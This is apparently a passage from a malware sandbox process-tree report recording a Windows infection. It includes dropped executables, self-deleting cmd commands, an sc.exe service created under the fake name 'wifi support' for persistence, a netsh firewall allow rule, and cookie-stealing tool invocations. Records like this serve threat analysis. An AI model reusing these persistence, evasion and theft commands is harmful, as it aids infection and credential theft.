C:\Users\Admin\AppData\Local\60b6a64a-52bf-4e32-b89c-c951f59113c5\updatewin.exe"C:\Users\Admin\AppData\Local\60b6a64a-52bf-4e32-b89c-c951f59113c5\updatewin.exe"3⤵PID:7044
-
C:\Windows\SysWOW64\cmd.exe/c timeout /t 3 & del /f /q C:\Users\Admin\AppData\Local\60b6a64a-52bf-4e32-b89c-c951f59113c5\updatewin.exe4⤵PID:7312
-
C:\Windows\SysWOW64\timeout.exetimeout /t 35⤵
- Delays execution with timeout.exe
PID:7644
-
-
-
-
C:\Users\Admin\AppData\Local\60b6a64a-52bf-4e32-b89c-c951f59113c5\5.exe"C:\Users\Admin\AppData\Local\60b6a64a-52bf-4e32-b89c-c951f59113c5\5.exe"3⤵PID:4504
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4504 -s 8124⤵
- Program crash
PID:5840
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4504 -s 9084⤵
- Program crash
PID:6648
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4504 -s 9204⤵
- Program crash
PID:6196
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4504 -s 10524⤵
- Program crash
PID:7464
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4504 -s 10924⤵
- Program crash
PID:7832
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4504 -s 11924⤵
- Program crash
PID:8040
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4504 -s 12684⤵
- Program crash
PID:8152
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4504 -s 11764⤵
- Program crash
PID:4412
-
-
-
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s NetSetupSvc1⤵PID:3076
-
C:\Windows\system32\werfault.exewerfault.exe /h /shared Global\3439fbdaee23488f9d6984374b1b721e /t 6692 /p 64041⤵PID:6228
-
C:\Users\Admin\AppData\Local\Temp\AD73.exeC:\Users\Admin\AppData\Local\Temp\AD73.exe1⤵PID:4668
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c echo dbvicTgbw2⤵PID:6404
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd < Lana.vstx2⤵PID:4396
-
C:\Windows\SysWOW64\cmd.execmd3⤵PID:5720
-
-
-
C:\Users\Admin\AppData\Local\Temp\24F6.exeC:\Users\Admin\AppData\Local\Temp\24F6.exe1⤵PID:3128
-
C:\Windows\SysWOW64\cmd.execmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\24F6.exe"2⤵PID:6704
-
C:\Windows\SysWOW64\timeout.exetimeout /T 10 /NOBREAK3⤵
- Delays execution with timeout.exe
PID:1376
-
-
-
C:\Users\Admin\AppData\Local\Temp\3E4B.exeC:\Users\Admin\AppData\Local\Temp\3E4B.exe1⤵PID:940
-
C:\Users\Admin\AppData\Local\Temp\4D31.exeC:\Users\Admin\AppData\Local\Temp\4D31.exe1⤵PID:7112
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\bwrlbdas\2⤵PID:3080
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ykjxisau.exe" C:\Windows\SysWOW64\bwrlbdas\2⤵PID:5832
-
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" create bwrlbdas binPath= "C:\Windows\SysWOW64\bwrlbdas\ykjxisau.exe /d\"C:\Users\Admin\AppData\Local\Temp\4D31.exe\"" type= own start= auto DisplayName= "wifi support"2⤵PID:2956
-
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" description bwrlbdas "wifi internet conection"2⤵PID:7004
-
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" start bwrlbdas2⤵PID:5500
-
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul2⤵PID:6688
-
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe"1⤵PID:6316
-
C:\Program Files (x86)\MaskVPN\MaskVPNUpdate.exeMaskVPNUpdate.exe /silent2⤵PID:7296
-
-
C:\Users\Admin\AppData\Roaming\uwwtgriC:\Users\Admin\AppData\Roaming\uwwtgri1⤵PID:5388
-
C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe"C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0x23c,0x240,0x244,0x218,0x248,0x7ff66d6e7740,0x7ff66d6e7750,0x7ff66d6e77601⤵PID:7080
-
C:\Users\Admin\AppData\Local\Temp\6B68.exeC:\Users\Admin\AppData\Local\Temp\6B68.exe1⤵PID:452
-
C:\Windows\SysWOW64\bwrlbdas\ykjxisau.exeC:\Windows\SysWOW64\bwrlbdas\ykjxisau.exe /d"C:\Users\Admin\AppData\Local\Temp\4D31.exe"1⤵PID:6916
-
C:\Windows\SysWOW64\svchost.exesvchost.exe2⤵PID:6696
-
-
C:\Users\Admin\AppData\Local\Temp\922B.exeC:\Users\Admin\AppData\Local\Temp\922B.exe1⤵PID:5484
-
C:\Users\Admin\AppData\Local\Temp\922B.exeC:\Users\Admin\AppData\Local\Temp\922B.exe2⤵PID:5888
-
-
C:\Users\Admin\AppData\Local\Temp\A68F.exeC:\Users\Admin\AppData\Local\Temp\A68F.exe1⤵PID:6676
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt2⤵PID:4740
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt2⤵PID:7668
-
-
C:\Users\Admin\AppData\Local\Temp\B6EB.exeC:\Users\Admin\AppData\Local\Temp\B6EB.exe1⤵PID:6364
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵PID:5904
-
C:\Users\Admin\AppData\Local\Temp\C8FD.exeC:\Users\Admin\AppData\Local\Temp\C8FD.exe1⤵PID:6596
-
C:\Users\Admin\AppData\Local\Temp\C8FD.exe"C:\Users\Admin\AppData\Local\Temp\C8FD.exe"2⤵PID:3312
-
-
C:\Users\Admin\AppData\Local\Temp\D795.exeC:\Users\Admin\AppData\Local\Temp\D795.exe1⤵PID:6684
-
C:\Users\Admin\AppData\Local\Temp\is-2O23D.tmp\D795.tmp"C:\Users\Admin\AppData\Local\Temp\is-2O23D.tmp\D795.tmp" /SL5="$20224,300262,216576,C:\Users\Admin\AppData\Local\Temp\D795.exe"2⤵PID:4676
-
C:\Users\Admin\AppData\Local\Temp\is-MCO8I.tmp\ST.exe"C:\Users\Admin\AppData\Local\Temp\is-MCO8I.tmp\ST.exe" /S /UID=lab2123⤵PID:7124
-
C:\Program Files\Windows Defender\UHYRBUUAMC\prolab.exe"C:\Program Files\Windows Defender\UHYRBUUAMC\prolab.exe" /VERYSILENT4⤵PID:5448
-
C:\Users\Admin\AppData\Local\Temp\is-I1155.tmp\prolab.tmp"C:\Users\Admin\AppData\Local\Temp\is-I1155.tmp\prolab.tmp" /SL5="$60234,575243,216576,C:\Program Files\Windows Defender\UHYRBUUAMC\prolab.exe" /VERYSILENT5⤵PID:4832
-
-
-
C:\Users\Admin\AppData\Local\Temp\d9-cbc69-19c-86ea2-cb03bed86e7a7\Kuxofigaeshu.exe"C:\Users\Admin\AppData\Local\Temp\d9-cbc69-19c-86ea2-cb03bed86e7a7\Kuxofigaeshu.exe"4⤵PID:6084
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ppe0eb1l.bdb\joggaplayer.exe & exit5⤵PID:6864
-
C:\Users\Admin\AppData\Local\Temp\ppe0eb1l.bdb\joggaplayer.exeC:\Users\Admin\AppData\Local\Temp\ppe0eb1l.bdb\joggaplayer.exe6⤵PID:5352
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt7⤵PID:4588
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt7⤵PID:7184
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\iv54snmp.zpu\proxybot.exe & exit5⤵PID:6728
-
C:\Users\Admin\AppData\Local\Temp\iv54snmp.zpu\proxybot.exeC:\Users\Admin\AppData\Local\Temp\iv54snmp.zpu\proxybot.exe6⤵PID:4056
-
C:\Users\Admin\AppData\Local\Temp\RarSFX4\main.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX4\main.exe"7⤵PID:7436
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\5gxv5ing.f45\ra4vpn.exe & exit5⤵PID:7796
-
C:\Users\Admin\AppData\Local\Temp\5gxv5ing.f45\ra4vpn.exeC:\Users\Admin\AppData\Local\Temp\5gxv5ing.f45\ra4vpn.exe6⤵PID:4772
-
-
-
-
-
-
C:\Windows\system32\compattelrunner.exeC:\Windows\system32\compattelrunner.exe -m:aeinv.dll -f:UpdateSoftwareInventoryW1⤵PID:7052
-
C:\Program Files (x86)\gdiview\gdiview\GDIView.exe"C:\Program Files (x86)\gdiview\gdiview\GDIView.exe"1⤵PID:7368
-
C:\Program Files (x86)\gdiview\gdiview\GDIView.exe"C:\Program Files (x86)\gdiview\gdiview\GDIView.exe"1⤵PID:7332
-
C:\Windows\system32\werfault.exewerfault.exe /h /shared Global\38f16f6495404f5499f4dcc686f94598 /t 0 /p 59041⤵PID:7876
-
C:\Program Files (x86)\gdiview\gdiview\GDIView.exe"C:\Program Files (x86)\gdiview\gdiview\GDIView.exe"1⤵PID:7952
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵PID:6448
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵PID:7316
-
C:\Users\Admin\AppData\Local\Temp\689B.tmp.exeC:\Users\Admin\AppData\Local\Temp\689B.tmp.exe1⤵PID:7560
-
C:\Users\Admin\AppData\Local\Temp\72FC.tmp.exeC:\Users\Admin\AppData\Local\Temp\72FC.tmp.exe1⤵PID:5196
-
C:\Users\Admin\AppData\Local\Temp\88B7.tmp.exeC:\Users\Admin\AppData\Local\Temp\88B7.tmp.exe1⤵PID:8188
-
C:\Users\Admin\AppData\Local\Temp\8F11.tmp.exeC:\Users\Admin\AppData\Local\Temp\8F11.tmp.exe1⤵PID:7744
-
C:\Users\Admin\AppData\Local\Temp\9D5B.tmp.exeC:\Users\Admin\AppData\Local\Temp\9D5B.tmp.exe1⤵PID:6172
-
C:\Windows\system32\werfault.exewerfault.exe /h /shared Global\8d121ba6727545a48a6713f1aaa8ee39 /t 0 /p 64481⤵PID:6724
-
C:\Users\Admin\AppData\Local\Temp\BB63.tmp.exeC:\Users\Admin\AppData\Local\Temp\BB63.tmp.exe1⤵PID:7800
-
C:\Users\Admin\AppData\Local\Temp\D45B.tmp.exeC:\Users\Admin\AppData\Local\Temp\D45B.tmp.exe1⤵PID:7736
-
C:\Users\Admin\AppData\Local\Temp\E4D7.tmp.exeC:\Users\Admin\AppData\Local\Temp\E4D7.tmp.exe1⤵PID:7640
-
C:\Users\Admin\AppData\Local\Temp\F0AF.tmp.exeC:\Users\Admin\AppData\Local\Temp\F0AF.tmp.exe1⤵PID:5384
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:7972
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵PID:5248
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:7012